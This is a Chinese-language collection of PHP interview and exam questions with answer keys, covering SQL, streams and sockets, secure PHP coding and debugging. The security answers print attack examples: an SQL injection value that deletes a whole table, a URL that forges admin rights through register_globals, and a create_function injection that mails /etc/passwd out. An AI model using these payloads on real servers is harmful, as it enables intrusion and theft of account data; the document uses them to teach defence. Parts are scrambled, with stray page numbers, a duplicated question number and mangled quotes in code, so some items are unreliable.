php面试题5---php面试题系列

php面试题及答案,经典php笔试题与答案

问题

1. 考虑如下 SQL 语句。哪个选项能对返回记录的条数进行限制?(双选)

SELECT * FROM MY_TABLE

A.如果可能,用把查询转换成存储例程

B.如果程序允许,给查询指定返回记录的范围

C.如果可能,添加 where 条件

D.如果 DBMS 允许,把查询转换成视图

E.如果 DBMS 允许,使用事先准备好的语句

2. 可以用添加______条件的方式对查询返回的数据集进行过滤?

答案:____________

3. 内关联(inner join)是用来做什么的?

A.把两个表通过相同字段关联入一张持久的表中

B.创建基于两个表中相同相同行的结果集

C.创建基于一个表中的记录的数据集

D.创建一个包含两个表中相同记录和一个表中全部记录的结果集

E.以上都不对

4. 以下哪个 DBMS 没有 PHP 扩展库?

A.MySQL

B.IBM DB/2

C.PostgreSQL

D.Microsoft SQL Server

E.以上都不对

5. 考虑如下脚本。假设 mysql_query 函数将一个未过滤的查询语句送入一个已经打开的数

据库连接,以下哪个选项是对的?(双选)

$r = mysql_query ('DELETE FROM MYTABLE WHERE ID=' . $_GET['ID']);

?>

A.MYTABLE 表中的记录超过 1 条

B.用户输入的数据需要经过适当的转义和过滤

C.调用该函数将产生一个包含了其他记录条数的记录

D.给 URL 传递 ID=0+OR+1 将导致 MYTABLE 中的所有表被删除

E.查询语句中应该包含数据库名

6.______语句能用来向已存在的表中添加新的记录。

答案:____________

7.以下哪个说法正确?

A.使用索引能加快插入数据的速度

B.良好的索引策略有助于防止跨站攻击

C.应当根据数据库的实际应用按理设计索引

D.删除一条记录将导致整个表的索引被破坏

E.只有数字记录行需要索引

8.join 能否被嵌套?

A.能

B.不能

9.考虑如下数据表和查询。如何添加索引能提高查询速度?

CREATE TABLE MYTABLE (

ID INT,

NAME VARCHAR (100),

ADDRESS1 VARCHAR (100),

ADDRESS2 VARCHAR (100),

ZIPCODE VARCHAR (10),

CITY VARCHAR (50),

PROVINCE VARCHAR (2)

)

SELECT ID, VARCHAR

FROM MYTABLE

WHERE ID BETWEEN 0 AND 100

ORDER BY NAME, ZIPCODE

A.给 ID 添加索引

B.给 NAME 和 ADDRESS1 添加索引

C.给 ID 添加索引,然后给 NAME 和 ZIPCODE 分别添加索引

D.给 ZIPCODE 和 NAME 添加索引

E.给 ZIPCODE 添加全文检索

10.执行以下 SQL 语句后将发生什么?

BEGIN TRANSACTION

DELETE FROM MYTABLE WHERE ID=1

DELETE FROM OTHERTABLE

ROLLBACK TRANSACTION

A.OTHERTABLE 中的内容将被删除

B.OTHERTABLE 和 MYTABLE 中的内容都会被删除

C.OTHERTABLE 中的内容将被删除,MYTABLE 中 ID 是 1 的内容将被删除

D.数据库对于执行这个语句的用户以外的起来用户来说,没有变化

E.数据库没用变化

11.DESC 在这个查询中起什么作用?

SELECT *

FROM MY_TABLE

WHERE ID > 0

ORDER BY ID, NAME DESC

A.返回的数据集倒序排列

B.ID 相同的记录按 NAME 升序排列

C.ID 相同的记录按 NAME 倒序排列

D.返回的记录先按 NAME 排序,再安 ID 排序

E.结果集中包含对 NAME 字段的描述

12.以下哪个不是 SQL 函数?

A.AVG

B.SUM

C.MIN

D.MAX

E.CURRENT_DATE()

13.如果一个字段能被一个包含 GROUP BY 的条件的查询语句读出,以下哪个选项的描述

正确?

A.该字段必须有索引

B.该字段必须包括在 GROUP BY 条件中

C.该字段必须包含一个累积值

D.该字段必须是主键

E.该字段必须不能包含 NULL 值

14.以下查询输出什么?

SELECT COUNT(*) FROM TABLE1 INNER JOIN TABLE2

ON TABLE1.ID <> TABLE2.ID

A.TABLE1 和 TABLE2 不相同的记录

B.两个表中相同的记录

C.TABLE1 中的记录条数乘以 TABLE2 中的记录条数再减去两表中相同的记录条数

D.两表中不同记录的条数

E.数字 2

15.______能保证一组 SQL 语句不受干扰的运行?

答案:____________

 

php面试题及答案,经典php笔试题与答案

 

答案

1. 有两个方法能限制返回记录的条数——使用 where 条件和指定查询返回的记录的范围。

通常情况下,如果没有特殊需要,尽量不要用 select *,这会浪费大量的数据缓存。答

案是 B 和 C。

2. 有很多种方式能过滤查询返回的数据,但这题描述的显然是 where 条件。

3. 答案是 B。内关联(inner join)把两个表通过一个特定字段关联起来,并创建该字段相

同的所有记录的数据集。

4. 答案是 E。PHP 有 PostgreSQL 和 MySQL 扩展库。访问 DB/2 可以用 ODBC,访问 Microsoft

SQL Server 可以用 TDS 和 mssql 扩展。这题考验你对 PHP 的兼容性的了解——在决定

开发小组要使用什么数据库时会用得上。

5. 答案是 B 和 D。用户输入未经过滤就直接送往了数据库,这非常危险。如果 URL 包含

ID=0+OR+1 这样的参数时,实际的查询为 DELETE FROM MYTABLE WHERE ID = 0

OR 1,数据库将删除表中所有的记录。

6. 答案显然是 INSERT。

7. 答案是 C。创建合理的索引需要分析数据库的实际用途并找出它的弱点。优化脚本中

的冗余查询同样也能提高数据库效率。

8. 能。你可以嵌套任意数量的 join 条件,但最终的结果可能并不是你想要的。

9. 答案是 C。给 ID 字段设置索引能提高 where 条件执行的效率,给 NAME 和 ZIPCODE

设索引则能使排序更快。

10.这个查询是一个事务,并且这个事务的最后有回滚,数据库不会有变化,因此答案是

E。

11.答案是 C。DESC 能反转默认的排序机制。因此在本题中,数据将先按 ID 升序排列,

再按 NAME 降序排列。

12.CURRENT_DATE 函数不是标准 SQL 中的函数(但某些特定的数据库平台可能包含了

这个函数)。

13.答案 B 和 C 正确。在标准 SQL 中,如果出现 GROUP BY,结果集中所有的字段都必

须是聚集值,或者是 GROUP BY 结构本身的一部分。某些 DBMS——比如 MySQL—

—允许你打破这种规则,但它不按标准的方式执行,并且在其他数据库系统上无效。

14.本题描述了一种在使用 join 时常犯的概念性错误。很多人可能觉得这个查询将返回两

75

个表中非共有记录。但实际上数据库却认为是“读出所有 ID 非共有的记录”。DBMS

将读取读取左边表中所有的记录加上右边表中 ID 非共有的记录。因此,该查询将读取

TABLE1 中的每条记录乘以 TABLE2 中的每条记录再减去两表中相同的记录条数。

15.事务能实现这个功能。事务能将任意个 SQL 语句组合起来一起执行,或者一起回滚。

76

10

流与网络编程

当要处理外部数据源时,PHP 提供了许多不同的方式来与外部世界连接。这当中包括

文件访问与 E-Mail 管理。然而,这两种机制的针对性都太强:文件管理只能处理本地文件

系统,而 E-Mail 函数也只能解决网络连接中很小一部分的问题。

要实现更多的功能,PHP 提供了一种叫“流(stream)”的工具,使得处理任何文件形

式的数据源成为可能。比如,“fopen 封装器”能将外部服务器上的页面读入你的脚本中,

这是使用流的最好的例子。它让你能够使用文件函数从英特网中获得内容。

最后,更复杂的操作可以通过 socket 编程实现,使得高层应用成为可能。

本章考察你对这两个领域中知识的了解。

 

php面试题及答案,经典php笔试题与答案

 

问题

1. 以下哪一项不是合法的 PHP 文件资源?

A.\\server\path\filename

B.http://www.example.com/index.php

C.myfile.txt

D.compress.zlib://myfile.txt

E.以上都不合法

2. 哪个函数能创建并注册一个 PHP 的流封装器?

答案:____________

3.用 stream_get_meta_data 函数,流 API 无法提供下列哪种信息?

A.是否仍然有数据未读

B.流是否过期

C.流是否被阻挡

D.通过流传输了多少数据

E.流构建的成分

4.以下哪些是 PHP 支持的流传输方式?(双选)

A.http

B.STDIO

C.ftp

D.STDOUT

E.stream

5. Stream context 提供了通过当前流传输的数据的信息,并能对以下哪个部分进行配置?

(双选)

A.流过滤器(Stream Filter)

B.流传输器(Stream Transport)

C.文件封装器(File Wrapper)

D.单独的读/写流

E.以上全部

78

6.哪个函数能用来手动打开一个 socket,来连接一台文件封装器不支持的服务器?

答案:____________

7.PHP 不支持以下那种传输协议?

A.tcp

B.udp

C.udg

D.pdc

E.unix

8. 假设你需要通过 tcp 周期性的向一台服务器发送数据。时间间隔不确定,你必须能在发

送完成后立刻进行下次发送。而你的脚本还需要在传输间隔中完成其他操作。你在编

写脚本时发现,如果服务器响应时间过长,则经常要在 fread()上等待,使得其他操作

无法正常进行。如何解决这个问题?

A.降低 max_execution_time,迫使 fread()减少等待时间

B.调用 fsockopen()进行连接时,降低超时等待的时间

C.关闭 socket 阻隔

D.打开 socket 阻隔

E.以上都不对

9.处理 socket 超时时,连接超时与读写超时可以分开设置。哪个函数能实现这个功能?

答案:____________

10.假设你需要编写一个脚本,用来通过任意一个流读取文本数据,并用另一个 ROT13

编码的流写回。编码必须在用第二个流写回时进行。怎么做最合适?

A.把编码后的数据存在临时变量中,把这个变量写入流

B.用流过滤器即时编码

C.创建一个 ROT13 查询表,然后一个字符一个字符的即时写入

D.ROT13 无法即时编码

E.以上都不对

11.以下脚本输出什么?

echo long2ip (ip2long ('127.0.256'));

?>

A.一个警告

B.255.255.255.255

C.-1

D.127.0.1.0

E.127.0.256.0

12.以下脚本输出的是什么?

echo getservbyname ('ftp', 'tcp');

?>

A.本地 FTP 服务器列表

B.名为“tcp”的 FTP 服务器的地址

C.与 TCP 服务器相连的名为“FTP”的端口

D.除了 FTP 以外所有服务的端口列表

13.gethostbynamel 函数有什么用?

A.返回某个主机名的 IP

B.返回某个主机名的所有 IP 列表

C.以长整型数的形式返回某个主机的 IP

D.以长整型数的形式返回某个主机的所有 IP 列表

E.以上都不对

14.以下那种操作不能用 ftp://流封装?(双选)

A.读取文件

B.写入文件

C.建立一个稳定的连接并改变当前目录

D.创建新目录

15.如何创建一个自定义的流处理器?

A.调用 stream_wrapper_register()函数,并定义一个进行流操作的类

B.用 stream_wrapper_register()注册一个处理函数

C.创建一个和要处理的流封装器同名的类,并用 fopen()打开

D.用 stream_load()加载流封装器

 

php面试题及答案,经典php笔试题与答案

 

答案

1. 正确答案是 E,所有选项都是合法的封装器。PHP 中,几乎所有的文件访问功能能用

选项中的任何一种方式来操作本地和远程文件。

2. stream_wrapper_register 函数用来注册一个用户自定义的文件封装器(以类的形式创建)

作为封装协议。它需要两个参数:新协议的名称和操作它的类的名称

3. 正确答案是 D。stream_get_meta_data 函数无法告诉你通过流传输了多少数据——它只

能告诉你还剩多少数据需要传输。

4. 正确答案是 B 和 E。PHP 只支持两种流传输(本地操作用 STDIO,远程操作用 stream),

并且将根据创建的流的类型来自动选择合适的传输方式。

5. 答案是 B 和 C。Stream context 能用来修改当前文件封装器或者流本身传输的行为方式。

通常不需要创建 stream context,因为 PHP 已经能够很好的处理相关问题了。

6. 一般都用 fsockopen 函数来打开一个指向 PHP 不支持其协议的服务器的端口。这能就

能让用户自定义的文件封装器与 PHP 不支持其协议的服务器进行连接。

7. 答案是 D——pdc,它不是网络传输协议。在选项之外,PHP 还支持安全传输协议,比

如 ssl 和 tls。

8. 正确答案是 C。默认情况下,fsockopen 函数创建的 socket 的阻隔是打开的。这意味着

任何读写数据的操作将“阻隔”其他操作,直到当前操作完成。阻隔关闭时,如果没

有数据需要 fread()读取,函数将很快返回,你就可以做其他的事了。

9. 要调整 socket 读写数据的时间,你必须使用 stream_set_timeout 函数。不能分开设置读

和写的超时。不过,请注意,调用 fsockopen()时,流的超时设置不影响连接的超时设

置。

10.正确答案是 B。流过滤器(stream filter)能应用在任何流上,并且能对数据流同时进

行多个操作。举例来说,可以给一个流同时添加 ROT13 过滤器和 base64 过滤器,来合

并成 base64/ROT13 编码。

11.答案是 D。ip2long 函数将字符串 127.0.256 转换成合法的 IP 地址 127.0.1.0,long2ip()

的功能正好相反。这是检查一个 IP 是否合法的有效手段(PHP 手册里就是这么说的)。

12.答案是 C。getservbyname 函数返回特定服务器的端口和协议——这里是 FTP 和 TCP,

通常在 21 端口(并不总是这样,你可以编辑服务器配置文件来改变这个端口)。

13.答案是 B。gethostbynamel 函数返回一个包含某个指定地址的主机下所有 IP 的数组。

14.正确答案是 C 和 D。ftp://流封装器能从 FTP 服务器读写数据,但不能改变当前目录或

新建目录——FTP 客户端才行。

15.答案是 A。stream_wrapper_register 函数能注册一个新的流封装器,它需要接收用来操

作流的类的名称。

 

 

编写安全的

PHP 程序

PHP 太强大、太容易了,因此开发者常常忘记 Web 安全相关的问题。

抛开重要性不看,安全问题往往是网站中最容易被人忽视的一个部分。不幸的是,有

很多种方法可以从内部或外部危害系统的安全,你必须不断的找出并修补这些潜在的危险

因素。

在进行安全检测时,有很多需要强调的问题——不止是与安全直接相关的,还包括许

多其他的内容。

要编写安全的程序,首先必须掌握一些基础技术,这样你才能应付本章的题目。

 

php面试题及答案,经典php笔试题与答案

 

 

问题

1. 以下哪种方法能防止你的 PHP 程序遭受外部入侵?

A.使用复杂的加密算法

B.保护数据库密码

C.如果有可能的话,使用 SSL

D.验证输入

E.只使用来源可信的输入

2. 假设$action 和$data 变量用来接受用户输入,并且 register_globals 是打开的。以下代码

是否安全?

if(isUserAdmin()) { $isAdmin = true; }

$data = validate_and_return_input($data);

switch($action)

{

case 'add':

addSomething($data);

break;

case 'delete':

if($isAdmin) {

deleteSomething($data);

}

break;

case 'edit':

if($isAdmin) {

editSomething($data);

}

break;

default:

print "Bad Action.";

}

?>

A.安全。在执行受保护的操作前先检查$isAdmin 是否为 true

B.不安全。没有确认$action 是不是合法输入

C.不安全。$isAdmin 可以通过 register_globals 被篡改

D.安全。因为它验证了用户数据$data

E.A 和 B

85

3.要防止跨站攻击,以下哪些是需要做的?(三选)

A.永远不要使用 include 和 require 引入靠用户输入决定路径的文件(比如:

include”$username/script.txt”;)

B.除非网站需要,否则关闭 allow_url_fopen

C.避免使用如 curl 这类用来打开远程连接的扩展库

D.使用类似 strip_tags()一类的函数过滤一个用户输入给另一个用户看的内容

E.以上都对

4.如果 register_globals 必须要被打开,如何才能防止恶意用户危害系统安全?(双选)

A.过滤所有来自非信任源的数据

B.过滤所有外部数据

C.所有变量在使用前先初始化

D.使用难猜变量名来防止用户篡改数据

E.以上都对

5.SQL 查询常常基于用户输入的数据来构建。以下哪种方法能避免安全隐患?

A.在数据服务器和 web 服务器之间放置防火墙

B.转义用户数据,使其中无法包含 DBMS 能执行的 SQL 命令

C.使用存储例程

D.使用面向对象编程,把每个查询定义为单独的类

6. 某些时候需要在 PHP 脚本中使用第三方功能,来实现一些 PHP 不能完成的任务(比如

调用压缩软件压缩某种 PHP 不支持其格式的文件)。在 PHP 脚本中执行系统命令时,

以下哪些选项能确保没有命令注入?(双选)

A.总是给要在 exec()中执行的命令加`

B.总是使用 shell_exec 函数,它能够在执行前对命令进行安全检查

C.使用 escapeshellcmd 函数转义命令中的特殊字符

D.在执行命令前,先用 ini_set()打开 safe_mode,

E.用 escapeshellarg 函数在执行前转义命令参数

7. 处理 HTTP 文件上传时,PHP 把文件储存在$_FILES 中。在 PHP 脚本的执行周期中,

这些文件将放在本地的临时文件夹里,而在脚本结束后,文件将被自动删除。在处理

HTTP 文件上传时,如果确保当前操作的文件是正确的文件?(双选)

A.操作前,将文件名与浏览器报告的文件名对比

86

B.操作前,用 file_exists 函数确保文件存在

C.用 is_uploaded_file 函数确认你的文件的确是通过 HTTP 方式传输过来的

D.用 move_upload_file()将文件移动到安全位置

E.只信任 PHP 存储临时文件的目录下的文件

8.在 PHP 的“安全模式”下,以下哪些设置有助于降低安全风险?(三选)

A.限制 shell 命令的执行

B.限制对系统环境变量的访问

C.限制 PHP 的文件包含目录

D.限制允许对数据库进行的操作

E.以上全部

9.要限制脚本只能访问一个指定的文件夹中的文件,以下那种方法最简单?

A.打开 safe_mode

B.用 open_basedir 指定允许的文件夹

C.用自定义函数指定 PHP 可以访问的目录

D.设置文件系统权限,让 PHP 只能访问允许的目录

E.以上都不对,无法限制 PHP 的访问目录

10.上传文件时,能否确保客户端浏览器不会上传大于指定容量的文件?

A.能

B.不能

11.你的 PHP 以 CGI 的形式运行在 Linux+Apache 系统的 cgi-bin 文件夹中。如果有人打开

以下 URL 将发生什么?

/cgi-bin/php?/etc/passwd

A./etc/passwd 目录下的文件都会被显示出来,造成安全隐患

B.操作系统会检查 Apache 是否允许打开/etc/passwd 目录

C./etc/passwd 字符串作为参数传给了脚本

D.什么都不会发生。CGI 模式下的 PHP 将自动拒绝此次访问

E.PHP 尝试把/etc/passwd 作为 PHP 脚本进行解释

12.尽管并不彻底,但以下哪些方法能识别并防范代码中的安全隐患?(选择最合适的答

案)

A.查阅 PHP 手册中提到的安全隐患

B.任何脚本执行失败的情况都写入日志

C.保持更新最新的 PHP 版本,尤其是解决了安全问题的那些

D.使用第三方 PHP 包时,了解并修正其中的安全问题

E.以上都对

13.当网站发生错误时,该如何处理?

A.应该向用户显示错误信息以及导致该错误的相关技术信息,并且网站管理员要记录

这个错误

B.需要记录该错误,并向用户致歉

C.应该向用户显示错误信息以及导致该错误的相关技术信息,以便用户把错误信息汇

报给网站管理员

D.把用户引导回主页,让用户不知道发生了错误

E.以上都不对

14. 在什么情况下,以下脚本才是安全的?

$newfunc = create_function('$a', 'return $a * {$_POST['number']};”);

$newfunc(10);

?>

A.任何时候都安全。最坏的情况只不过是匿名函数 newfunc()返回了一个数字

B.当 register_globals 打开时

C.什么时候都不安全。匿名函数 newfunc()允许用户更改数学式的运行,将造成安全

隐患

D.什么时候都不安全。匿名函数 newfunc()允许用户在服务器上执行任意代码,将造

成安全隐患

E.只在 allow_url_fopen 打开时安全

15.以下哪种 PHP 安装方式有很高的安全隐患,并且运行效率也最低?

A.Apache 共享模块

B.Apache 的编译模块

C.CGI

D.IIS 下的 ISAPI 模块

 

php面试题及答案,经典php笔试题与答案

答案

1. 正确答案是 D。虽然其他选项在一定程度上也是正确的,但破解安全问题的最简单的

方法还是验证外部数据。无论是来自用户提交的表单还是本地服务器环境,任何第三

方数据都应该进行验证,以确保其符合程序需要。

2. 答案是 C。这段代码绝对不安全!事实上,当 register_globals 打开时,这个安全问题

十分常见。问题出在$isAdmin 变量上:尽管它是一个布尔值,只有当用户是管理员时

才会被赋值,而其他情况下不会赋值。但由于 register_globals 是打开的,恶意用户只

要通过 URL 传递一个 GET 变量就可以获得管理员权限:

http://www.example.com/action.php?action=delete&data=foo&isAdmin=1

3. 正确答案是 A,B 和 C。A 和 B 说的都是相似的 PHP 安全问题,恶意用户可以通过篡

改 URL 来修改$username 变量。如果用户这么做了,并且 allow_url_fopen 是打开的,

PHP 将下载某台非信任的远程服务器上的 script.txt 文件,并当作本地 PHP 脚本执行。

另一个常见但不那么严重的隐患是,把一个用户的输入传递给另一个用户。比如在论

坛或电子邮件中,不过滤 HTML 标签。这将允许恶意用户使用 JavaScript 脚本攻击查

看这段内容的用户,造成跨站攻击或者浏览器 bug——可怜的用户因为你的过错而受

害。

4. 正确答案是 B 和 C。过滤非信任来源的数据听起来是个好主意,但实际上任何外部数

据都有可能造成安全问题,并危及你的脚本。当 register_globals 打开时,显然要保证

所有变量在使用前都进行过初始化,以防止恶意用户进行注入。

5. 处理数据库查询中的用户数据时,你应该转义 SQL 中所有应该转义的数据。这是一个

普遍的数据库问题——所有基于 SQL 的数据库都容易收到 SQL 注入攻击,需要用 PHP

提供的转义函数来防范。

6. 答案是 C 和 E。在 PHP 里执行有变量参与的系统命令时,没有任何一个函数是“绝对

安全”的。你应该用 escapeshellcmd 和 escapeshellarg 函数转义传递给 shell 的命令和参

量。

7. 正确答案是 C 和 D。即使脚本执行完后不需要保存该文件,你也应该在访问此文件之

前,先用 is_uploaded_file 函数确保文件名正确。同样,如果需要把文件从临时文件夹

移出以长期保存该文件时,你应该使用 move_upload_file 函数,它会在移动前对该文件

进行检查。

8. 正确答案是 A,B 和 C。安全模式提供了许多附加的安全验证,有助于降低安全隐患

——尤其是在多个用户访问同一个 PHP 的共享主机上。尽管安全模式能限制一些东西,

但在执行系统命令、访问环境变量和判断文件是否能被引入(比如对每个文件进行额

外的 UID/GID 检查)时,它无法进行安全检查。

9. 正确答案是 B。open_basedir 设置能让你指定允许 PHP 读取的目录。这项设置是独立

于 safe_mode 之外的,并且可以指定多个目录。注意,选项 D 也是一种可行的限制访

问的方式,但它不够简单——还很难维护。

10.正确答案是 B。尽管可以通过在 HTML 中添加一个 MAX_FILE_SIZE 隐藏域的方式来

指定上传文件的容量限制,但难保客户端就一定会遵守此约定(译者注:事实上,没

有任何一个浏览器遵守了此约定)。

11.以 CGI 模式运行时,PHP 将自动采取一些措施来减少常见的安全隐患。措施之一就应

用在把任意某个文件作为命令行参量传递给解释器执行的时候。如果不是这样,PHP

将尝试读取/etc/passwd——一个“全球可读(world-readable)”的文件,同时解释器把

它视作 PHP 脚本来执行,最终导致所有的用户帐号被输出到客户端上。不过,由于 PHP

内建的安全机制,实际上什么都不会发生。答案是 D。

12.正确答案是 E。所有选项都能被开发者用来降低网站的危险系数。要想有效得保证网

站安全,你首先应该找出潜在的危险。意味着你必须关注安全公告,记录可疑操作(可

能是恶意用户企图攻击你的系统)。

13.正确答案是 B。网站不应该向用户展示任何无意义的信息(比如一个失败的 SQL 查询)。

尽管这些信息对大部分用户来说毫无意义,但对开发者(包括黑客)来说这些却是非

常有价值的资源。他们可以由此找到一条有效的策略来攻击你的系统。比如说,一个

恶意用户由此知道了你的 SQL 查询的结构,那他就非常容易通过表单进行注入,造成

安全隐患。当错误发生时,应该只给用户发送一条致歉信息,而错误细节应该被记录

在日志中,以便网站管理员查阅。

14.正确答案是 D。尽管很隐蔽,但该脚本确实能让用户在服务器上执行任何代码。作为

数学式的一部分,考虑一下当$_POST[‘number’]是如下字符串时的情况:

(eval(“exec(‘cat /etc/passwd | mail [email protected]’);”)) ? 0 : 1

匿名函数将变成:

return $a * (eval(“exec(‘cat /etc/passwd | mail [email protected]’);”)) ? 0 : 1;

这将使得用户可以通过 eval()语句执行任何代码,而且返回的仍然是一个“合法”值。

create_function()或 eval()能执行动态代码,所以必须仔细检查动态部分,避免注入。

15.任何安装不恰当的 PHP 版本都会有安全问题,但在选项中,CGI 最严重。默认状态下

它有许多安全隐患,并且执行效率低下,在上线前需要进行严格的检查。答案是 C。

 

调试与性能管理

作为一个开发者,无论你经验多么丰富,或者无论你多么努力,你的程序中总会有 bug。

这是生命中一个必然的部分,如同死亡与缴税(尽管并没有后面两个那么严重)。

要想解决 bug,首先要能找到 bug。事实上,许多开发者花费了无数小时茫然得盯着代

码,只是因为他们没有把程序的容错能力摆在首位。忽略了这个部分,那么期望一个没有

bug 的程序就是——不可能的。

本章测试题将考察你对调试和性能管理相关知识的了解,以及如何用 PHP 做好这两件

事。

 

php面试题及答案,经典php笔试题与答案

 

问题

1. 以下脚本如何用三元操作替代?

if ($a < 10) {

if ($b > 11) {

if ($c == 10 && $d != $c) {

$x = 0;

} else {

$x = 1;

}

}

}

?>

A.$x = ($a A. < 10 || $b > 11 || $c == 1 && $d != $c) ? 0 : 1;

B.$x = ($a < 10 || $b > 11 || ($c == 1 && $d != $c)) ? 0 : 1;

C.$x = (($a < 10 && $b > 11) || ($c == 1 && $d != $c)) ? 0 : 1;

D.$x = ($a < 10 && $b > 11 && $c == 1 && $d != $c) ? 1 : 0;

E.以上都不对

2. 有一个脚本由于要从远程获取数据,因而运行速度很慢,以下那种方法能对其进行优

化?(双选)

A.安装操作码缓存(opcode cache)

B.优化或者升级你的网络连接

C.添置更多的硬件

D.增加服务器的可用 RAM

E.使用连接缓存

3.架设生产环境下的服务器时,需要做哪些步骤?(双选)

A.关闭错误报告

B.打开错误日志

C.关闭错误日志

D.关闭错误显示

E.使用@抑错符

4.______操作符能对操作数的数据类型进行严格的比较?

答案:____________

5.操作码缓存(opcode cache)能做什么?

A.把脚本编译成二进制对象,使它运行得更快

B.代替 Zend 引擎加快解释器的运行

C.缓存脚本输出以提高执行效率

D.缓存解析器产生的中间码,以提高运行效率

E.在内存中缓存脚本,减少从硬盘中读取的次数

6.以下哪些情况容易造成系统资源枯竭?(双选)

A.RAM 太小

B.使用了低带宽的连接

C.虚拟内存超过 2GB

D.允许同时运行太多的服务器进程

E.以上都不对

6. 以下脚本缺了些什么?(双选)

$rs = database_query ("select * from mytable where id = " .

$my_id);

while ($a = database_get_data ($rs)) {

var_dump ($a);

}

?>

A.参数出口(Parameter escapement)

B.输出格式化

C.错误检查

D.一个 SQL 查询

E.以上都不对

8.以下那种错误类型无法被自定义的错误处理器捕捉到?(双选)

A.E_WARNING

B.E_ERROR

C.E_USER_ERROR

D.E_PARSE

E.E_NOTICE

9.当需要比较一个常量和一个变量时,如何才能保证不会错弄成赋值?

A.把变量转换成 int

B.使用全等比较符(===)

C.确保常量是第一个操作数

D.使用三元运算符

E.用括号把操作包起来

10.要通过邮件给系统管理员发送错误信息,以下那种方法最简便?

A.创建一个连接远程 SMTP 服务器的函数

B.使用 mail 函数

C.使用 error_log 函数

D.调用 sendmial 程序

E.使用 webservice

11.能否仅调用一个函数就关闭脚本内所有的错误报告?

A.能

B.不能

12.概要分析器(profiler)是做什么的?

A.创建关于脚本结构的档案

B.把脚本转化成 UML 图

C.精确测算脚本不同部分的运行时间

D.计算脚本通过 web 服务器执行时的维度

E.扫描脚本,识别由常见错误导致的 bug

13.______能帮助识别和解决 bug。

答案:____________

14.trigger_error()和 user_error()有什么区别?

 

A.trigger_error()允许脚本抛出系统级的错误

B.user_error()允许脚本抛出系统级的错误

C.user_error()不能被用在错误管理器中

D.trigger_error 只在 PHP5 中可用

E.没有区别

15.______函数能返回脚本里任意行中调用的函数的名称。该函数同时还经常被用在调试

中,用来判断错误是如何发生的。

A.print_r

B.var_dump

C.stack_dump

D.debug_backtrace

E.以上都不对

 

php面试题及答案,经典php笔试题与答案

 

1. 答案是 E。三元操作符把每个 if 语句连到一起,作为&&操作的一部分。然而本题中,

$x=1 这个赋值只在第三个 if 为 false 时发生。如果第一个和第二个条件都不成立,$x=1

就不会执行。这题对三元操作的应用有些极端,实际应用时,需要根据可读性来决定

是否需要用三元运算符(本题这种情况就最好不要用)。

2. 问题是由第三方数据源传输缓慢导致的,而你无法控制这个数据源。你也许能在网络

连通性上做些工作(假设问题出在你这一边)。还可以对接收到的内容进行缓存,这样

能减少获取重复数据的时间。因此,答案是 B 和 E。

3. 正确的选择是 B 和 D。如果关闭错误报告、使用@抑错符和关闭错误日志,那么在你

交付给客户的网站出现问题时,你将很难进行分析和调试。

4. 这是在描述===操作符。

5. 正确答案是 D。PHP 脚本在执行时,将首先被解析成“中间”码(也叫 opcode,操作

码),然后解释器执行。操作码缓存出现在这两个步骤之间,对解析器的输出进行缓存。

下次执行该脚本时,将缓存的输出直接送入解释器。这样就就不需要再解析一次了。

6. 正确答案是 A 和 D。如果 RAM 太小,进程间将出现资源竞争,服务器将大量使用硬

盘交换。同样的,如果允许过多进程同时执行,也会使服务器频繁进行交换,导致速

度下降。

7. 正确答案是 A 和 C。脚本不检验 datebase_query()的调用是否成功,因此将持续执行下

去,最终产生错误。此外,$my_id 参数没有转义——可能导致代码注入(详见第 11

章)。

8. 答案 B 和 D 正确。出现解析错误往往表示脚本中有语法错误,自定义的错误管理器无

法捕捉到它们的原因很明显:错误管理器在脚本里,而现在无法解析脚本,管理器也

就无法执行。类似的,E_ERROR 表示有致命的运行错误出现,比如内存耗尽。因此脚

本会立刻被中断,因为解释器无法执行后面的代码。

9. 答案是 C。比较操作是一个可交换的操作(就是说结果独立于操作数之外),而赋值不

是。因此,比如说,$a==10 和 10==$a 是等效的,而$a=10 和 10=$a 却不是,而且后者

会导致一个错误,因为这不是一个合法的操作。确保常量在操作符前面,能保证你不

会错误得将比较变成赋值。

10.答案是 C。error_log 函数能将信息送往一个指定的地址。尽管 mail()也可以用,但

error_log 能自动给邮件添加标题,因此这才是最简单的方法。

11.答案是不能。error_reporting 函数能关闭所有运行时的错误报告,但对解析时的错误无

效,因为解析错误发生在脚本执行之前。

12.显然,答案是 C。概要分析器(profiler)能监视脚本的运行,并记录单个部分的运行

时间。它可以用来找出和解决瓶颈。

13.这是对调试器的完美定义!你可以用调试软件监视脚本运行,同时分析系统资源消耗,

从而发现和解决程序缺陷。

14.trigger_error()和 user_error()之间没有区别。后者其实是前者的别名。

15.答案是 D。题目是在描述 debug_backtrace 函数,它返回一个由所有在代码的特定位置

调用过的函数名组成的数组。

你可能感兴趣的:(php)